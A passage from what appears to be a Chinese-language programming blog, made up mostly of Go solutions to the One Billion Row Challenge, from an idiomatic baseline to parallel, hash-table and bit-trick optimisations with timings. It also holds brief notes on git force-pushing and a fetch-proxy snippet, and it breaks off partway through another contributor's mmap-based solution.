 const remote = "https://example.com";

 return await fetch(remote, request);
 },
};

Git 強制推送

Fri, 26 Jul 2024 12:24:00 +0800

git push --force-with-lease

以 Go 為例，圖解 Data Alignment 如何影響記憶體使用量

Mon, 08 Jul 2024 17:52:37 +0800

以 Go 為例，圖解 Data Alignment 如何影響記憶體使用量

Go 的十億列挑戰：從 1 分 45 秒到 3.4 秒的九種解法

Mon, 08 Jul 2024 09:50:10 +0800

Baseline

$ time cat measurements.txt >/dev/null
0m1.052s

$ time wc measurements.txt
 1000000000 1179173106 13795293380 measurements.txt
0m55.710s

$ time gawk -b -f 1brc.awk measurements.txt >measurements.out
7m35.567s

BEGIN {
 FS = ";"
}

{
 if (counts[$1]++) {
 mins[$1] = $2 < mins[$1] ? $2 : mins[$1]
 maxs[$1] = $2 > maxs[$1] ? $2 : maxs[$1]
 } else {
 mins[$1] = maxs[$1] = $2 # new entry
 }
 sums[$1] += $2
}

END {
 printf "{"
 n = asorti(mins, sorted)
 for (i = 1; i <= n; i++) {
 station = sorted[i]
 min = mins[station]
 max = maxs[station]
 mean = sums[station] / counts[station]
 printf "%s=%.1f/%.1f/%.1f", station, min, mean, max
 if (i < n) {
 printf ", "
 }
 }
 printf "}\n"
}

Solution 1: simple and idiomatic Go

// r1: simple, idiomatic Go using bufio.Scanner and strconv.ParseFloat
//
// ~1.004s for 10M rows

package main

import (
 "bufio"
 "fmt"
 "io"
 "os"
 "sort"
 "strconv"
 "strings"
)

func r1(inputPath string, output io.Writer) error {
 type stats struct {
 min, max, sum float64
 count int64
 }

 f, err := os.Open(inputPath)
 if err != nil {
 return err
 }
 defer f.Close()

 stationStats := make(map[string]stats)

 scanner := bufio.NewScanner(f)
 for scanner.Scan() {
 line := scanner.Text()
 station, tempStr, hasSemi := strings.Cut(line, ";")
 if !hasSemi {
 continue
 }

 temp, err := strconv.ParseFloat(tempStr, 64)
 if err != nil {
 return err
 }

 s, ok := stationStats[station]
 if !ok {
 s.min = temp
 s.max = temp
 s.sum = temp
 s.count = 1
 } else {
 s.min = min(s.min, temp)
 s.max = max(s.max, temp)
 s.sum += temp
 s.count++
 }
 stationStats[station] = s
 }

 stations := make([]string, 0, len(stationStats))
 for station := range stationStats {
 stations = append(stations, station)
 }
 sort.Strings(stations)

 fmt.Fprint(output, "{")
 for i, station := range stations {
 if i > 0 {
 fmt.Fprint(output, ", ")
 }
 s := stationStats[station]
 mean := s.sum / float64(s.count)
 fmt.Fprintf(output, "%s=%.1f/%.1f/%.1f", station, s.min, mean, s.max)
 }
 fmt.Fprint(output, "}\n")
 return nil
}

Solution 2: map with pointer values

// r2: use stats pointer as map value to avoid double hashing
//
// ~921ms for 10M rows (1.09x as fast as r1)

package main

import (
 "bufio"
 "fmt"
 "io"
 "os"
 "sort"
 "strconv"
 "strings"
)

func r2(inputPath string, output io.Writer) error {
 type stats struct {
 min, max, sum float64
 count int64
 }

 f, err := os.Open(inputPath)
 if err != nil {
 return err
 }
 defer f.Close()

 stationStats := make(map[string]*stats)

 scanner := bufio.NewScanner(f)
 for scanner.Scan() {
 line := scanner.Text()
 station, tempStr, hasSemi := strings.Cut(line, ";")
 if !hasSemi {
 continue
 }

 temp, err := strconv.ParseFloat(tempStr, 64)
 if err != nil {
 return err
 }

 s := stationStats[station]
 if s == nil {
 stationStats[station] = &stats{
 min: temp,
 max: temp,
 sum: temp,
 count: 1,
 }
 } else {
 s.min = min(s.min, temp)
 s.max = max(s.max, temp)
 s.sum += temp
 s.count++
 }
 }

 stations := make([]string, 0, len(stationStats))
 for station := range stationStats {
 stations = append(stations, station)
 }
 sort.Strings(stations)

 fmt.Fprint(output, "{")
 for i, station := range stations {
 if i > 0 {
 fmt.Fprint(output, ", ")
 }
 s := stationStats[station]
 mean := s.sum / float64(s.count)
 fmt.Fprintf(output, "%s=%.1f/%.1f/%.1f", station, s.min, mean, s.max)
 }
 fmt.Fprint(output, "}\n")
 return nil
}

Solution 3: avoid strconv.ParseFloat

// r3: parse temperatures manually instead of using strconv.ParseFloat
//
// ~517ms for 10M rows (1.94x as fast as r1)

package main

import (
 "bufio"
 "bytes"
 "fmt"
 "io"
 "os"
 "sort"
)

func r3(inputPath string, output io.Writer) error {
 type stats struct {
 min, max, sum float64
 count int64
 }

 f, err := os.Open(inputPath)
 if err != nil {
 return err
 }
 defer f.Close()

 stationStats := make(map[string]*stats)

 scanner := bufio.NewScanner(f)
 for scanner.Scan() {
 line := scanner.Bytes()
 station, tempBytes, hasSemi := bytes.Cut(line, []byte(";"))
 if !hasSemi {
 continue
 }

 negative := false
 index := 0
 if tempBytes[index] == '-' {
 index++
 negative = true
 }
 temp := float64(tempBytes[index] - '0')
 index++
 if tempBytes[index] != '.' {
 temp = temp*10 + float64(tempBytes[index]-'0')
 index++
 }
 index++ // skip '.'
 temp += float64(tempBytes[index]-'0') / 10
 if negative {
 temp = -temp
 }

 s := stationStats[string(station)]
 if s == nil {
 stationStats[string(station)] = &stats{
 min: temp,
 max: temp,
 sum: temp,
 count: 1,
 }
 } else {
 s.min = min(s.min, temp)
 s.max = max(s.max, temp)
 s.sum += temp
 s.count++
 }
 }

 stations := make([]string, 0, len(stationStats))
 for station := range stationStats {
 stations = append(stations, station)
 }
 sort.Strings(stations)

 fmt.Fprint(output, "{")
 for i, station := range stations {
 if i > 0 {
 fmt.Fprint(output, ", ")
 }
 s := stationStats[station]
 mean := s.sum / float64(s.count)
 fmt.Fprintf(output, "%s=%.1f/%.1f/%.1f", station, s.min, mean, s.max)
 }
 fmt.Fprint(output, "}\n")
 return nil
}

Solution 4: fixed point integers

// r4: use fixed point int32s (*10) instead of float64s
//
// ~491ms for 10M rows (2.04x as fast as r1)

package main

import (
 "bufio"
 "bytes"
 "fmt"
 "io"
 "os"
 "sort"
)

func r4(inputPath string, output io.Writer) error {
 type stats struct {
 min, max, count int32
 sum int64
 }

 f, err := os.Open(inputPath)
 if err != nil {
 return err
 }
 defer f.Close()

 stationStats := make(map[string]*stats)

 scanner := bufio.NewScanner(f)
 for scanner.Scan() {
 line := scanner.Bytes()
 station, tempBytes, hasSemi := bytes.Cut(line, []byte(";"))
 if !hasSemi {
 continue
 }

 negative := false
 index := 0
 if tempBytes[index] == '-' {
 index++
 negative = true
 }
 temp := int32(tempBytes[index] - '0')
 index++
 if tempBytes[index] != '.' {
 temp = temp*10 + int32(tempBytes[index]-'0')
 index++
 }
 index++ // skip '.'
 temp = temp*10 + int32(tempBytes[index]-'0')
 if negative {
 temp = -temp
 }

 s := stationStats[string(station)]
 if s == nil {
 stationStats[string(station)] = &stats{
 min: temp,
 max: temp,
 sum: int64(temp),
 count: 1,
 }
 } else {
 s.min = min(s.min, temp)
 s.max = max(s.max, temp)
 s.sum += int64(temp)
 s.count++
 }
 }

 stations := make([]string, 0, len(stationStats))
 for station := range stationStats {
 stations = append(stations, station)
 }
 sort.Strings(stations)

 fmt.Fprint(output, "{")
 for i, station := range stations {
 if i > 0 {
 fmt.Fprint(output, ", ")
 }
 s := stationStats[station]
 mean := float64(s.sum) / float64(s.count) / 10
 fmt.Fprintf(output, "%s=%.1f/%.1f/%.1f", station, float64(s.min)/10, mean, float64(s.max)/10)
 }
 fmt.Fprint(output, "}\n")
 return nil
}

Solution 5: avoid bytes.Cut

// r5: avoid bytes.Cut
//
// ~442ms for 10M rows (2.27x as fast as r1)

package main

import (
 "bufio"
 "fmt"
 "io"
 "os"
 "sort"
)

func r5(inputPath string, output io.Writer) error {
 type stats struct {
 min, max, count int32
 sum int64
 }

 f, err := os.Open(inputPath)
 if err != nil {
 return err
 }
 defer f.Close()

 stationStats := make(map[string]*stats)

 scanner := bufio.NewScanner(f)
 for scanner.Scan() {
 line := scanner.Bytes()

 end := len(line)
 tenths := int32(line[end-1] - '0')
 ones := int32(line[end-3] - '0') // line[end-2] is '.'
 var temp int32
 var semicolon int
 if line[end-4] == ';' {
 temp = ones*10 + tenths
 semicolon = end - 4
 } else if line[end-4] == '-' {
 temp = -(ones*10 + tenths)
 semicolon = end - 5
 } else {
 tens := int32(line[end-4] - '0')
 if line[end-5] == ';' {
 temp = tens*100 + ones*10 + tenths
 semicolon = end - 5
 } else { // '-'
 temp = -(tens*100 + ones*10 + tenths)
 semicolon = end - 6
 }
 }

 station := line[:semicolon]
 s := stationStats[string(station)]
 if s == nil {
 stationStats[string(station)] = &stats{
 min: temp,
 max: temp,
 sum: int64(temp),
 count: 1,
 }
 } else {
 s.min = min(s.min, temp)
 s.max = max(s.max, temp)
 s.sum += int64(temp)
 s.count++
 }
 }

 stations := make([]string, 0, len(stationStats))
 for station := range stationStats {
 stations = append(stations, station)
 }
 sort.Strings(stations)

 fmt.Fprint(output, "{")
 for i, station := range stations {
 if i > 0 {
 fmt.Fprint(output, ", ")
 }
 s := stationStats[station]
 mean := float64(s.sum) / float64(s.count) / 10
 fmt.Fprintf(output, "%s=%.1f/%.1f/%.1f", station, float64(s.min)/10, mean, float64(s.max)/10)
 }
 fmt.Fprint(output, "}\n")
 return nil
}

Solution 6: avoid bufio.Scanner

// r6: don't use bufio.Scanner to avoid scanning some bytes twice
//
// ~399ms for 10M rows (2.52x as fast as r1)

package main

import (
 "bytes"
 "fmt"
 "io"
 "os"
 "sort"
)

func r6(inputPath string, output io.Writer) error {
 type stats struct {
 min, max, count int32
 sum int64
 }

 f, err := os.Open(inputPath)
 if err != nil {
 return err
 }
 defer f.Close()

 stationStats := make(map[string]*stats)

 buf := make([]byte, 1024*1024)
 readStart := 0
 for {
 n, err := f.Read(buf[readStart:])
 if err != nil && err != io.EOF {
 return err
 }
 if readStart+n == 0 {
 break
 }
 chunk := buf[:readStart+n]

 newline := bytes.LastIndexByte(chunk, '\n')
 if newline < 0 {
 break
 }
 remaining := chunk[newline+1:]
 chunk = chunk[:newline+1]

 for {
 station, after, hasSemi := bytes.Cut(chunk, []byte(";"))
 if !hasSemi {
 break
 }

 index := 0
 negative := false
 if after[index] == '-' {
 negative = true
 index++
 }
 temp := int32(after[index] - '0')
 index++
 if after[index] != '.' {
 temp = temp*10 + int32(after[index]-'0')
 index++
 }
 index++ // skip '.'
 temp = temp*10 + int32(after[index]-'0')
 index += 2 // skip last digit and '\n'
 if negative {
 temp = -temp
 }
 chunk = after[index:]

 s := stationStats[string(station)]
 if s == nil {
 stationStats[string(station)] = &stats{
 min: temp,
 max: temp,
 sum: int64(temp),
 count: 1,
 }
 } else {
 s.min = min(s.min, temp)
 s.max = max(s.max, temp)
 s.sum += int64(temp)
 s.count++
 }
 }

 readStart = copy(buf, remaining)
 }

 stations := make([]string, 0, len(stationStats))
 for station := range stationStats {
 stations = append(stations, station)
 }
 sort.Strings(stations)

 fmt.Fprint(output, "{")
 for i, station := range stations {
 if i > 0 {
 fmt.Fprint(output, ", ")
 }
 s := stationStats[station]
 mean := float64(s.sum) / float64(s.count) / 10
 fmt.Fprintf(output, "%s=%.1f/%.1f/%.1f", station, float64(s.min)/10, mean, float64(s.max)/10)
 }
 fmt.Fprint(output, "}\n")
 return nil
}

Solution 7: custom hash table

// r7: use custom hash table and hash station name as we look for ';'
//
// ~234ms for 10M rows (4.29x as fast as r1)

package main

import (
 "bytes"
 "fmt"
 "io"
 "os"
 "sort"
)

func r7(inputPath string, output io.Writer) error {
 type stats struct {
 min, max, count int32
 sum int64
 }

 f, err := os.Open(inputPath)
 if err != nil {
 return err
 }
 defer f.Close()

 type item struct {
 key []byte
 stat *stats
 }
 const numBuckets = 1 << 17 // number of hash buckets (power of 2)
 items := make([]item, numBuckets) // hash buckets, linearly probed
 size := 0 // number of active items in items slice

 buf := make([]byte, 1024*1024)
 readStart := 0
 for {
 n, err := f.Read(buf[readStart:])
 if err != nil && err != io.EOF {
 return err
 }
 if readStart+n == 0 {
 break
 }
 chunk := buf[:readStart+n]

 newline := bytes.LastIndexByte(chunk, '\n')
 if newline < 0 {
 break
 }
 remaining := chunk[newline+1:]
 chunk = chunk[:newline+1]

 for {
 const (
 // FNV-1 64-bit constants from hash/fnv.
 offset64 = 14695981039346656037
 prime64 = 1099511628211
 )

 var station, after []byte
 hash := uint64(offset64)
 i := 0
 for ; i < len(chunk); i++ {
 c := chunk[i]
 if c == ';' {
 station = chunk[:i]
 after = chunk[i+1:]
 break
 }
 hash ^= uint64(c) // FNV-1a is XOR then *
 hash *= prime64
 }
 if i == len(chunk) {
 break
 }

 index := 0
 negative := false
 if after[index] == '-' {
 negative = true
 index++
 }
 temp := int32(after[index] - '0')
 index++
 if after[index] != '.' {
 temp = temp*10 + int32(after[index]-'0')
 index++
 }
 index++ // skip '.'
 temp = temp*10 + int32(after[index]-'0')
 index += 2 // skip last digit and '\n'
 if negative {
 temp = -temp
 }
 chunk = after[index:]

 hashIndex := int(hash & uint64(numBuckets-1))
 for {
 if items[hashIndex].key == nil {
 // Found empty slot, add new item (copying key).
 key := make([]byte, len(station))
 copy(key, station)
 items[hashIndex] = item{
 key: key,
 stat: &stats{
 min: temp,
 max: temp,
 sum: int64(temp),
 count: 1,
 },
 }
 size++
 if size > numBuckets/2 {
 panic("too many items in hash table")
 }
 break
 }
 if bytes.Equal(items[hashIndex].key, station) {
 // Found matching slot, add to existing stats.
 s := items[hashIndex].stat
 s.min = min(s.min, temp)
 s.max = max(s.max, temp)
 s.sum += int64(temp)
 s.count++
 break
 }
 // Slot already holds another key, try next slot (linear probe).
 hashIndex++
 if hashIndex >= numBuckets {
 hashIndex = 0
 }
 }
 }

 readStart = copy(buf, remaining)
 }

 stationItems := make([]item, 0, size)
 for _, item := range items {
 if item.key == nil {
 continue
 }
 stationItems = append(stationItems, item)
 }
 sort.Slice(stationItems, func(i, j int) bool {
 return string(stationItems[i].key) < string(stationItems[j].key)
 })

 fmt.Fprint(output, "{")
 for i, item := range stationItems {
 if i > 0 {
 fmt.Fprint(output, ", ")
 }
 s := item.stat
 mean := float64(s.sum) / float64(s.count) / 10
 fmt.Fprintf(output, "%s=%.1f/%.1f/%.1f", item.key, float64(s.min)/10, mean, float64(s.max)/10)
 }
 fmt.Fprint(output, "}\n")
 return nil
}

Solution 8: process chunks in parallel

// r8: add some parallelism (but back to non-optimized r1 version)
//
// ~213ms for 10M rows (4.71x as fast as r1)

package main

import (
 "bufio"
 "bytes"
 "fmt"
 "io"
 "os"
 "sort"
 "strconv"
 "strings"
)

type r8Stats struct {
 min, max, sum float64
 count int64
}

func r8(inputPath string, output io.Writer) error {
 parts, err := splitFile(inputPath, maxGoroutines)
 if err != nil {
 return err
 }

 resultsCh := make(chan map[string]r8Stats)
 for _, part := range parts {
 go r8ProcessPart(inputPath, part.offset, part.size, resultsCh)
 }

 totals := make(map[string]r8Stats)
 for i := 0; i < len(parts); i++ {
 result := <-resultsCh
 for station, s := range result {
 ts, ok := totals[station]
 if !ok {
 totals[station] = r8Stats{
 min: s.min,
 max: s.max,
 sum: s.sum,
 count: s.count,
 }
 continue
 }
 ts.min = min(ts.min, s.min)
 ts.max = max(ts.max, s.max)
 ts.sum += s.sum
 ts.count += s.count
 totals[station] = ts
 }
 }

 stations := make([]string, 0, len(totals))
 for station := range totals {
 stations = append(stations, station)
 }
 sort.Strings(stations)

 fmt.Fprint(output, "{")
 for i, station := range stations {
 if i > 0 {
 fmt.Fprint(output, ", ")
 }
 s := totals[station]
 mean := s.sum / float64(s.count)
 fmt.Fprintf(output, "%s=%.1f/%.1f/%.1f", station, s.min, mean, s.max)
 }
 fmt.Fprint(output, "}\n")
 return nil
}

func r8ProcessPart(inputPath string, fileOffset, fileSize int64, resultsCh chan map[string]r8Stats) {
 file, err := os.Open(inputPath)
 if err != nil {
 panic(err)
 }
 defer file.Close()
 _, err = file.Seek(fileOffset, io.SeekStart)
 if err != nil {
 panic(err)
 }
 f := io.LimitedReader{R: file, N: fileSize}

 stationStats := make(map[string]r8Stats)

 scanner := bufio.NewScanner(&f)
 for scanner.Scan() {
 line := scanner.Text()
 station, tempStr, hasSemi := strings.Cut(line, ";")
 if !hasSemi {
 continue
 }

 temp, err := strconv.ParseFloat(tempStr, 64)
 if err != nil {
 panic(err)
 }

 s, ok := stationStats[station]
 if !ok {
 s.min = temp
 s.max = temp
 s.sum = temp
 s.count = 1
 } else {
 s.min = min(s.min, temp)
 s.max = max(s.max, temp)
 s.sum += temp
 s.count++
 }
 stationStats[station] = s
 }

 resultsCh <- stationStats
}

type part struct {
 offset, size int64
}

func splitFile(inputPath string, numParts int) ([]part, error) {
 const maxLineLength = 100

 f, err := os.Open(inputPath)
 if err != nil {
 return nil, err
 }
 st, err := f.Stat()
 if err != nil {
 return nil, err
 }
 size := st.Size()
 splitSize := size / int64(numParts)

 buf := make([]byte, maxLineLength)

 parts := make([]part, 0, numParts)
 offset := int64(0)
 for i := 0; i < numParts; i++ {
 if i == numParts-1 {
 if offset < size {
 parts = append(parts, part{offset, size - offset})
 }
 break
 }

 seekOffset := max(offset+splitSize-maxLineLength, 0)
 _, err := f.Seek(seekOffset, io.SeekStart)
 if err != nil {
 return nil, err
 }
 n, _ := io.ReadFull(f, buf)
 chunk := buf[:n]
 newline := bytes.LastIndexByte(chunk, '\n')
 if newline < 0 {
 return nil, fmt.Errorf("newline not found at offset %d", offset+splitSize-maxLineLength)
 }
 remaining := len(chunk) - newline - 1
 nextOffset := seekOffset + int64(len(chunk)) - int64(remaining)
 parts = append(parts, part{offset, nextOffset - offset})
 offset = nextOffset
 }
 return parts, nil
}

Solution 9: all optimisations plus parallelisation

// r9: all the previous optimizations plus parallel execution
//
// 43ms for 10M rows (23.3x as fast as r1)

package main

import (
 "bytes"
 "fmt"
 "io"
 "os"
 "sort"
)

type r9Stats struct {
 min, max, count int32
 sum int64
}

func r9(inputPath string, output io.Writer) error {
 parts, err := splitFile(inputPath, maxGoroutines)
 if err != nil {
 return err
 }

 resultsCh := make(chan map[string]*r9Stats)
 for _, part := range parts {
 go r9ProcessPart(inputPath, part.offset, part.size, resultsCh)
 }

 totals := make(map[string]*r9Stats)
 for i := 0; i < len(parts); i++ {
 result := <-resultsCh
 for station, s := range result {
 ts := totals[station]
 if ts == nil {
 totals[station] = s
 continue
 }
 ts.min = min(ts.min, s.min)
 ts.max = max(ts.max, s.max)
 ts.sum += s.sum
 ts.count += s.count
 }
 }

 stations := make([]string, 0, len(totals))
 for station := range totals {
 stations = append(stations, station)
 }
 sort.Strings(stations)

 fmt.Fprint(output, "{")
 for i, station := range stations {
 if i > 0 {
 fmt.Fprint(output, ", ")
 }
 s := totals[station]
 mean := float64(s.sum) / float64(s.count) / 10
 fmt.Fprintf(output, "%s=%.1f/%.1f/%.1f", station, float64(s.min)/10, mean, float64(s.max)/10)
 }
 fmt.Fprint(output, "}\n")
 return nil
}

func r9ProcessPart(inputPath string, fileOffset, fileSize int64, resultsCh chan map[string]*r9Stats) {
 file, err := os.Open(inputPath)
 if err != nil {
 panic(err)
 }
 defer file.Close()
 _, err = file.Seek(fileOffset, io.SeekStart)
 if err != nil {
 panic(err)
 }
 f := io.LimitedReader{R: file, N: fileSize}

 type item struct {
 key []byte
 stat *r9Stats
 }
 const numBuckets = 1 << 17 // number of hash buckets (power of 2)
 items := make([]item, numBuckets) // hash buckets, linearly probed
 size := 0 // number of active items in items slice

 buf := make([]byte, 1024*1024)
 readStart := 0
 for {
 n, err := f.Read(buf[readStart:])
 if err != nil && err != io.EOF {
 panic(err)
 }
 if readStart+n == 0 {
 break
 }
 chunk := buf[:readStart+n]

 newline := bytes.LastIndexByte(chunk, '\n')
 if newline < 0 {
 break
 }
 remaining := chunk[newline+1:]
 chunk = chunk[:newline+1]

 for {
 const (
 // FNV-1 64-bit constants from hash/fnv.
 offset64 = 14695981039346656037
 prime64 = 1099511628211
 )

 var station, after []byte
 hash := uint64(offset64)
 i := 0
 for ; i < len(chunk); i++ {
 c := chunk[i]
 if c == ';' {
 station = chunk[:i]
 after = chunk[i+1:]
 break
 }
 hash ^= uint64(c) // FNV-1a is XOR then *
 hash *= prime64
 }
 if i == len(chunk) {
 break
 }

 index := 0
 negative := false
 if after[index] == '-' {
 negative = true
 index++
 }
 temp := int32(after[index] - '0')
 index++
 if after[index] != '.' {
 temp = temp*10 + int32(after[index]-'0')
 index++
 }
 index++ // skip '.'
 temp = temp*10 + int32(after[index]-'0')
 index += 2 // skip last digit and '\n'
 if negative {
 temp = -temp
 }
 chunk = after[index:]

 hashIndex := int(hash & (numBuckets - 1))
 for {
 if items[hashIndex].key == nil {
 // Found empty slot, add new item (copying key).
 key := make([]byte, len(station))
 copy(key, station)
 items[hashIndex] = item{
 key: key,
 stat: &r9Stats{
 min: temp,
 max: temp,
 sum: int64(temp),
 count: 1,
 },
 }
 size++
 if size > numBuckets/2 {
 panic("too many items in hash table")
 }
 break
 }
 if bytes.Equal(items[hashIndex].key, station) {
 // Found matching slot, add to existing stats.
 s := items[hashIndex].stat
 s.min = min(s.min, temp)
 s.max = max(s.max, temp)
 s.sum += int64(temp)
 s.count++
 break
 }
 // Slot already holds another key, try next slot (linear probe).
 hashIndex++
 if hashIndex >= numBuckets {
 hashIndex = 0
 }
 }
 }

 readStart = copy(buf, remaining)
 }

 result := make(map[string]*r9Stats, size)
 for _, item := range items {
 if item.key == nil {
 continue
 }
 result[string(item.key)] = item.stat
 }
 resultsCh <- result
}

Solution 10: all the previous optimizations plus faster semicolon finding and hashing

// r10: all the previous optimizations plus faster semicolon finding and
// hashing
//
// Translated from Java by Menno Finlay-Smits Ideas with ideas taken from
// this fast Java solution:
//
// https://github.com/gunnarmorling/1brc/blob/main/src/main/java/dev/morling/onebrc/CalculateAverage_mtopolnik.java
//
// On my (Ben's) laptop I get these initial results:
//
// $ ./go-1brc -revision=1 ../1brc/data/measurements.txt >out-r1
// Processed 13156.2MB in 1m39.507011009s
// $ ./go-1brc -revision=9 ../1brc/data/measurements.txt >out-r9
// Processed 13156.2MB in 2.893693843s # 34.4x as fast as the r1 above
// $ ./go-1brc -revision=10 ../1brc/data/measurements.txt >out-r10
// Processed 13156.2MB in 2.497241029s # 39.8x as fast as the r1 above

package main

import (
 "bytes"
 "encoding/binary"
 "fmt"
 "io"
 "math/bits"
 "os"
 "sort"
)

const BroadcastSemicolon = 0x3B3B3B3B3B3B3B3B
const Broadcast0x01 = 0x0101010101010101
const Broadcast0x80 = 0x8080808080808080

type r10Stats struct {
 min, max, count int32
 sum int64
}

func r10(inputPath string, output io.Writer) error {
 parts, err := splitFile(inputPath, maxGoroutines)
 if err != nil {
 return err
 }

 resultsCh := make(chan map[string]*r10Stats)
 for _, part := range parts {
 go r10ProcessPart(inputPath, part.offset, part.size, resultsCh)
 }

 totals := make(map[string]*r10Stats)
 for i := 0; i < len(parts); i++ {
 result := <-resultsCh
 for station, s := range result {
 ts := totals[station]
 if ts == nil {
 totals[station] = s
 continue
 }
 ts.min = min(ts.min, s.min)
 ts.max = max(ts.max, s.max)
 ts.sum += s.sum
 ts.count += s.count
 }
 }

 stations := make([]string, 0, len(totals))
 for station := range totals {
 stations = append(stations, station)
 }
 sort.Strings(stations)

 fmt.Fprint(output, "{")
 for i, station := range stations {
 if i > 0 {
 fmt.Fprint(output, ", ")
 }
 s := totals[station]
 mean := float64(s.sum) / float64(s.count) / 10
 fmt.Fprintf(output, "%s=%.1f/%.1f/%.1f", station, float64(s.min)/10, mean, float64(s.max)/10)
 }
 fmt.Fprint(output, "}\n")

 return nil
}

func r10ProcessPart(inputPath string, fileOffset, fileSize int64, resultsCh chan map[string]*r10Stats) {
 file, err := os.Open(inputPath)
 if err != nil {
 panic(err)
 }
 defer file.Close()
 _, err = file.Seek(fileOffset, io.SeekStart)
 if err != nil {
 panic(err)
 }
 f := io.LimitedReader{R: file, N: fileSize}

 type item struct {
 key []byte
 stat *r10Stats
 }
 const numBuckets = 1 << 17 // number of hash buckets (power of 2)
 items := make([]item, numBuckets) // hash buckets, linearly probed
 size := 0 // number of active items in items slice

 buf := make([]byte, 1024*1024)
 readStart := 0
 for {
 n, err := f.Read(buf[readStart:])
 if err != nil && err != io.EOF {
 panic(err)
 }
 if readStart+n == 0 {
 break
 }
 chunk := buf[:readStart+n]

 newline := bytes.LastIndexByte(chunk, '\n')
 if newline < 0 {
 break
 }
 remaining := chunk[newline+1:]
 chunk = chunk[:newline+1]

 chunkLoop:
 for {
 var hash uint64
 var station, after []byte

 if len(chunk) < 8 {
 break chunkLoop
 }

 nameWord0 := binary.NativeEndian.Uint64(chunk)
 matchBits := semicolonMatchBits(nameWord0)
 if matchBits != 0 {
 // semicolon is in the first 8 bytes
 nameLen := calcNameLen(matchBits)
 nameWord0 = maskWord(nameWord0, matchBits)
 station = chunk[:nameLen]
 after = chunk[nameLen+1:]
 hash = calcHash(nameWord0)
 } else {
 // station name is longer so keep looking for the semicolon in
 // uint64 chunks
 nameLen := 8
 hash = calcHash(nameWord0)
 for {
 if nameLen > len(chunk)-8 {
 break chunkLoop
 }
 lastNameWord := binary.NativeEndian.Uint64(chunk[nameLen:])
 matchBits = semicolonMatchBits(lastNameWord)
 if matchBits != 0 {
 nameLen += calcNameLen(matchBits)
 station = chunk[:nameLen]
 after = chunk[nameLen+1:]
 break
 }
 nameLen += 8
 }
 }
 index := 0
 negative := false
 if after[index] == '-' {
 negative = true
 index++
 }
 temp := int32(after[index] - '0')
 index++
 if after[index] != '.' {
 temp = temp*10 + int32(after[index]-'0')
 index++
 }
 index++ // skip '.'
 temp = temp*10 + int32(after[index]-'0')
 index += 2 // skip last digit and '\n'
 if negative {
 temp = -temp
 }
 chunk = after[index:]

 hashIndex := int(hash & (numBuckets - 1))
 for {
 if items[hashIndex].key == nil {
 // Found empty slot, add new item (copying key).
 key := make([]byte, len(station))
 copy(key, station)
 items[hashIndex] = item{
 key: key,
 stat: &r10Stats{
 min: temp,
 max: temp,
 sum: int64(temp),
 count: 1,
 },
 }
 size++
 if size > numBuckets/2 {
 panic("too many items in hash table")
 }
 break
 }
 if bytes.Equal(items[hashIndex].key, station) {
 // Found matching slot, add to existing stats.
 s := items[hashIndex].stat
 s.min = min(s.min, temp)
 s.max = max(s.max, temp)
 s.sum += int64(temp)
 s.count++
 break
 }
 // Slot already holds another key, try next slot (linear probe).
 hashIndex++
 if hashIndex >= numBuckets {
 hashIndex = 0
 }
 }
 }

 readStart = copy(buf, remaining)
 }

 result := make(map[string]*r10Stats, size)
 for _, item := range items {
 if item.key == nil {
 continue
 }
 result[string(item.key)] = item.stat
 }
 resultsCh <- result
}

func calcNameLen(b uint64) int {
 return (bits.TrailingZeros64(b) >> 3)
}

func calcHash(word uint64) uint64 {
 return bits.RotateLeft64(word*0x51_7c_c1_b7_27_22_0a_95, 17)
}

func semicolonMatchBits(word uint64) uint64 {
 diff := word ^ BroadcastSemicolon
 return (diff - Broadcast0x01) & (^diff & Broadcast0x80)
}

func maskWord(word, matchBits uint64) uint64 {
 mask := matchBits ^ (matchBits - 1)
 return word & mask
}

Alexander Yastrebov

package main

import (
 "bytes"
 "fmt"
 "log"
 "math"
 "os"
 "runtime"
 "sort"
 "sync"
 "syscall"
)

type measurement struct {
 min, max, sum, count int64
}

func main() {
 if len(os.Args) != 2 {
 log.Fatalf("Missing measurements filename")
 }

 measurements := processFile(os.Args[1])

 ids := make([]string, 0, len(measurements))
 for id := range measurements {
 ids = append(ids, id)
 }
 sort.Strings(ids)

 fmt.Print("{")
 for i, id := range ids {
 if i > 0 {
 fmt.Print(", ")
 }
 m := measurements[id]
 fmt.Printf("%s=%.1f/%.1f/%.1f", id, round(float64(m.min)/10.0), round(float64(m.sum)/10.0/float64(m.count)), round(float64(m.max)/10.0))
 }
 fmt.Println("}")
}

func processFile(filename string) map[string]*measurement {
 f, err := os.Open(filename)
 if err != nil {
 log.Fatalf("Open: %v", err)
 }
 defer f.Close()

 fi, err := f.Stat()
 if err != nil {
 log.Fatalf("Stat: %v", err)
 }

 size := fi.Size()
 if size <= 0 || size != int64(int(size)) {
 log.Fatalf("Invalid file size: %d", size)
 }

 data, err := syscall.Mmap(int(f.Fd()), 0, int(size), syscall.PROT_READ, syscall.MAP_SHARED)
 if err != nil {
 log.Fatalf("Mmap: %v", err)
 }

 defer func() {
 if err := syscall.Munmap(data); err != nil {
 log.Fatalf("Munmap: %v", err)
 }
 }()

 return process(data)
}

func process(data []byte) map[string]*measurement {
 nChunks := runtime.NumCPU()

 chunkSize := len(data) / nChunks
 if chunkSize == 0 {
 chunkSize = len(data)
 }

 chunks := make([]int, 0, nChunks)
 offset := 0
 for offset < len(data) {
 offset += chunkSize
 if offset >= len(data) {
 chunks = append(chunks, len(data))
 break
 }

 nlPos := bytes.IndexByte(data[offset:], '\n')
 if nlPos == -1 {
 chunks = append(chunks, len(data))
 break
 } else {
 offset += nlPos + 1
 chunks = append(chunks, offset)
 }
 }

 var wg sync.WaitGroup
 wg.Add(len(chunks))

 results := make([]map[string]*measurement, len(chunks))
 start := 0
 for i, chunk := range chunks {
 go func(data []byte, i int) {
 results[i] = processChunk(data)
 wg.Done()
 }(data[start:chunk], i)
 start = chunk
 }
 wg.Wait()

 measurements := make(map[string]*measurement)
 for _, r := range results {
 for id, rm := range r {
 m := measurements[id]
 if m == nil {
 measurements[id] = rm
 } else {
 m.min = min(m.min, rm.min)
 m.max = max(m.max, rm.max)
 m.sum += rm.sum
 m.count += rm.count
 }
 }
 }
 return measurements
}

func processChunk(data []byte) map[string]*measurement {
 // Use fixed size linear probe lookup table
 const (
 // use power of 2 for fast modulo calculation,
 // should be larger than max number of keys which is 10_000
 entriesSize = 1 << 14

 // use FNV-1a hash
 fnv1aOffset64 = 14695981039346656037
 fnv1aPrime64 = 1099511628211
 )

 type entry struct {
 m measurement
 hash uint64
 vlen int
 value [128]byte // use power of 2 > 100 for alignment
 }
 entries := make([]entry, entriesSize)
 entriesCount := 0

 // keep short and inlinable
